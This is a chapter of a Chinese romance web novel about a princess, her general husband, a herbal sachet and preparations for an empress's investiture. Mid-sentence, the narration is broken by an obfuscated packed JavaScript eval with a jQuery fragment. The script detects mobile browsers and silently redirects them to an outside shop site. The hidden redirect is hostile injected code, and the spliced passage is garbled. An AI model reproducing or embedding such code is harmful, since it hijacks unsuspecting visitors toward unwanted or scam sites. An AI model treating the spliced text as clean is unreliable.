永宁公主府
今日穆扶桑要去城外几日,这几日他虽很少半夜梦魇,但眼下乌青却越来越重。
昨日景乐找来太医细细地问了安神的草药方子,抓了药来亲手装进她紧赶慢赶绣了几日的香囊中。
花厅内,盯着两个黑眼圈的穆扶桑垂眼喝着碗里的粥,景乐坐在对面,两人都各有所思,却打不破这一时沉寂的气氛。
直到穆扶桑一碗粥喝完放下勺子,两人才对上视线,“殿下,我过几日便回,这几日,保重身体。”
穆扶桑说的严肃,景乐也端正地点点头,“将军......”
她出声叫住了将要起身的穆扶桑,拿出袖筒里的香囊,递到穆扶桑眼前。
“这是?”
“香囊,给你的。”
绛紫的绸面上绣着颗枝叶繁茂的扶桑树,收口处还绣着个小小的“木”字。
“‘穆’笔画有些多。”见穆扶桑手指抚过那个有些歪扭的“木”字,景乐开口解释。
吉甫作诵,穆如清风,幽闺纫芷,乔木萦祺。
扶桑本是神树,风拂叶动,屹立不倒,这个小小的香囊承载着景乐的关怀与愿景,希望内里的各色药草能够镇定安神,给面前人造一个美梦。
“里面装了药草,能安神。”
穆扶桑将香囊拿近至鼻尖,药草的清香味萦绕在侧,“殿下前几日绣的是这个。”
他终于知晓了那日景乐的欲言又止,原来不是因为担忧生计,而是挂心他的噩梦。
“若日日带着,睡时放在枕畔,许能睡得好些。”景乐看着绛紫的香囊衬得他眼下泛青更重些,忍不住又嘱咐了句。
“嗯,我会一直带着。”穆扶桑将香囊小心收进怀里,低头确认了两遍才重新抬起头认真看着景乐,“谢谢殿下。”
说完他又想起什么,绕过桌子来到景乐面前,伸手轻拢住景乐的手细细查看,确认没有针眼才松开些眉头。
“没扎到。”景乐略有些不好意思,“我绣的慢,有些地方针脚粗。”
“好看,很好看。”穆扶桑毫不犹豫紧接着说,“慢就慢,别扎着手。”他小心地握住了景乐的手,手掌紧贴,手指相叩。
两人就这么待着,谁也没说要走,廊下的椿七已经跑了五六趟,外院的亲兵催命似的求着椿七快去看看他们将军到底被什么绊住了脚,怎得还不出来。
椿七心道,自然是被公主殿下牵住了绳子抽不开身,无奈之下,他只能当个传话筒,五六次往返于外院和花厅廊下,兰芷都有些看不下去,“椿七公公,不若进去催催?”
“那可不行。”椿七到底是过来人,忙摇摇头,“殿下和国公正是新婚,不舍分别是常情,怎能打搅。”说着他便又往外走,“我再出去看看,让再等等。”
说话间,穆扶桑从花厅出来,大步往外走,路过椿七,他还微微颔首打了招呼。
看着镇国公远去的背影,兰芷和椿七都松了口气。
一同生活了几日,穆扶桑乍一离开,景乐头次感到不习惯,看着桌案上空了大半的膳食和对面的碗盘,心里空落落的。
不过这种空荡没多久就被件常理之中意料之外的事情打破,宫中传出消息,景明下诏册立瑶光为后,诏书由中书草拟,说来也巧,起诏者正是为景乐和穆扶桑写下赐婚诏的刘立。
这实在是件喜事,早在平州,瑶光便是景明唯一的妻子,瑶光在后宫没名没份的这些日子里,不光她自己心焦,连景乐都有些怅然。
若朝堂真的困难重重,景明拗不过众臣,届时瑶光要如何自处?自见了瑶光后,景乐便日日挂心。
现如今,既能够颁发册礼诏,以景明的个性,至少说明此一事他已经有了十全把握。
诏书一经公告天下,立后大典便要紧锣密鼓准备起来,中宫仪仗礼服一应事宜忙得瑶光焦头烂额。
景明日日从繁重文书中脱身,甫一结束便要赶到重华殿和瑶光一同准备。
终于,五日后,从宗□□发出的请柬顺利送到永宁公主府,随请柬一起来的还有穆扶桑,宗□□的官员刚到门口,便见长街尽头一人一骑飞奔而来。
来人一袭墨袍,衣袂翻飞在赤金战马上,好不威风。
穆扶桑到了府门口利落下马,见有人站在家门口,脚步稍停,侧目看去。
来送请柬的是位小官,平日里无机会上殿议事,故而对这位镇国公只是百闻,今日一见,英姿勃发,确是位疏朗将军。
只是此刻这位将军面色不虞,眉目间隐隐透着急切,瞥过来的一眼里带着些许不耐。
宦海多年极识颜色的小官立马双手呈上请柬,完成任务后一行礼赶快退走,免得碍了将军的事。
穆扶桑接过请柬,两步跨上台阶,对急匆匆赶上来的亲兵丢下“将赤云带回马厩”便进了府内。
等亲兵牵住赤云的缰绳,府内青石板路上已经不见穆扶桑的身影。
这五日景乐进过一趟宫,陪着瑶光料理了些事宜便一直待在府上,如从前一般宅着。
她趴在亭台栏杆上,手中握着一小把鱼食,看着池中锦鲤争先恐后地抢食吃。
忽听得一阵慌乱的脚步声,待回过头便见椿七跑得气喘吁吁,好容易沿着石子路跑到亭台下,还没喘匀气,远处的墨色袍脚已从拐角飞出。
景乐抬眸看去,穆扶桑正大步走过来,行至近前时亭台下的椿七和兰芷已经走出老远。
“殿下,我回来了。”穆扶桑眼睛亮的惊人,站在台阶下看景乐。
他眼下的乌青似散了些,这几日太阳毒,似晒黑了些,好像也瘦了些。
景乐仔细一点点看着他,一时间没答话,穆扶桑也不催,就那样站着,微仰着头看景乐。
暑热时节,风里都夹着丝热意,景乐颊边未束起的发丝抚过眼眶,些许痒意唤回她的思绪。
“睡得好吗?”
穆扶桑点点头,“好,殿下的香囊很有用。”
“累不累?”
“不累。”穆扶桑摇摇头,又重复了遍,“不累。”
若是以往,两人的对话到这里也就结束,都不是健谈的人,但似是料到会如此,穆扶桑早做了准备。
他迈上台阶来到景乐面前,从怀里掏出一个锦帕里三层外三层包了的布包,酸甜果香逸散开来。
“城郊有家蜜饯作坊,听闻城中几家蜜饯铺子都是在那里学的手艺,殿下尝尝看。”
自公主府骑马去京郊少说五六个时辰,眼前人去了趟京郊整顿军纪的功夫还绕道村中作坊带了蜜饯来,帕子拥着各类果脯,自然晾晒析出的糖霜给它们披上层雪白外衣。
含一颗在口中,不似寻常蜜饯的柔韧,而是格外软弹的口感,新鲜果肉般在嘴里慢慢化开,留下酸甜果香。
“好吃么?”穆扶桑保持着手捧蜜饯的姿势,微微侧头看景乐鼓起的一侧脸颊。
景乐点点头,拿起一颗递到他唇边,比上次更自然的动作,穆扶桑也很熟练的弯腰含住蜜饯。
这次两人的耳朵不再红彤彤,那点羞涩情谊统统化在了唇齿间的甘甜回味里。
默默吃了好多颗,帕中蜜饯原本堆起的小山丢了顶,穆扶桑才想起正事,擦擦手拿出请柬递给景乐。
三日后,册后礼将在宫内第一大殿太极殿举行。半年前柔然火烧太极殿,等景明赶来时,大殿就剩下个空架子,工部重修了这些日子,新殿在旧址落成,将见证这场大礼。
若循旧礼,景明在大殿将金册、中宫印玺一应重要物什赐予重华殿的瑶光,皇后只需在中宫内殿行礼叩拜即可,无需在太极殿授礼,之所以设立大典是景明的特许。
景明将皇后叩谢的地点由内殿改成大殿,邀文武百官前来观礼,将这场立后大典办得声势浩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599992|202694||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大,比四年前他们成亲时的排场还要大。
也是为了弥补半年来的含糊其辞与冷眼委屈,他想在这场千人见证的大礼中将这一切一一消解。
-----------------
大典前一日,日上三竿,穆扶桑和景乐都没有从房内出来,也没出声唤廊下候着的兰芷等人。
实属罕见,平日这个时辰镇国公武都练完武回来了,兰芷和椿七面面相觑,自打两位主子成了婚,平日里行事真是越来越难以捉摸。
难测的两位主子倒是醒了好一阵了,穆扶桑发丝凌乱,里衣领口大敞着,正坐在床边,胸膛微微起伏,气息有些不稳。
景乐也没好到哪里去,披散的发尾在身后打了结,衣衫满是褶皱,正背对着穆扶桑在一人多高的柜子里翻找。
两人一大早便醒了,过了两天消停日子,不约而同地想到了件要紧事,明日便是大典。
虽已成婚,但依礼景乐需站在宗室列,而穆扶桑则要站在武官列,可不论站在哪里,有件事却是不变的。
两人需身着礼服观礼。
景乐的衣裳通常由兰芷收着,自然是放得妥帖,头饰整齐地摆在妆盒里,衣裳也早就洗好送来了。
穆扶桑也沾了光,朝服也整整齐齐挂在景乐的衣裙旁,可他的头冠却不见了。
与朝服一套的礼冠按理来说应和朝服在一处,可穆扶桑去了趟京郊,这几日未参加朝会,干净的朝服挂在架子上,头冠却不见踪影。
躺在床上的两人一骨碌爬起来就开始找,景乐找遍了自己的妆匣,穆扶桑也翻遍了柜子,折腾半天,两人看着晨光里彼此狼狈的模样,都有些想笑。
“不若唤兰芷进来帮着找吧?”景乐提议。
其实一开始便是想要请兰芷进来帮忙的,但穆扶桑自己打理惯了,便没惊动外面的人。
可找了这一阵,两人都累得不轻,现下也非得找兰芷进来帮着找找看。
但现下这个模样,着实不雅,景乐拿起木梳,“先梳一下吧。”梳齿将碰到穆扶桑发丝时,站着的景乐一低头,看见了了不得的景象。
她慌忙别开眼,“你的......衣裳。”
穆扶桑也才反应过来,现如今不是他独自一人一个屋子光膀子的时候了,赶忙拉好衣襟,还使劲抻了抻。
待一切收拾停当,侯在门外的兰芷终于听见了殿下的呼唤,推门进来,敏锐的她立刻发现了许多异常。
墙边的柜子门虚掩着,床榻上锦被凌乱,妆台上一应物什都挪了位置,她心中千万个想法溜过,努力压住了嘴角,侍候景乐梳妆。
穆扶桑已经去了院子里练剑,剑锋破空声中,景乐问兰芷:“兰芷,你可记得将军的头冠放在何处了?”
“回殿下,奴婢收在博古架的鎏银盒中了,在那处。”兰芷为景乐插上最后一枚发钗,指向方才他们两人都没去找的地方。
“原来在这里,早知道早些问你了。”景乐有些不好意思跟兰芷道出实情,但又怕她多心,便解释了下。
兰芷并未多心,却有些失望,“奴婢还以为您和国公......”
景乐脸腾的红了,她赶忙直起身子透过窗棂确定穆扶桑还在外面练剑招,才回过头来,“兰芷。”
实在是毫无威慑力的一声,兰芷抿唇笑着讨饶,“奴婢错了,只是殿下许久不起身,这才......”
“没有,什么都没有。”景乐忙压低声音辩着。
习武之人耳力高强,遑论穆扶桑这种曾凭伏地听声辨出百里外军队人数并成功全歼敌军的大将。
剑声中,景乐的声音清晰地传进他耳中,听到什么都没有几个字时,他握剑的手紧了紧。
在廊下候着的椿七已经看了多日镇国公耍这套剑招了,也从一个门外汉入了门。
今日镇国公这剑舞得,有些快了。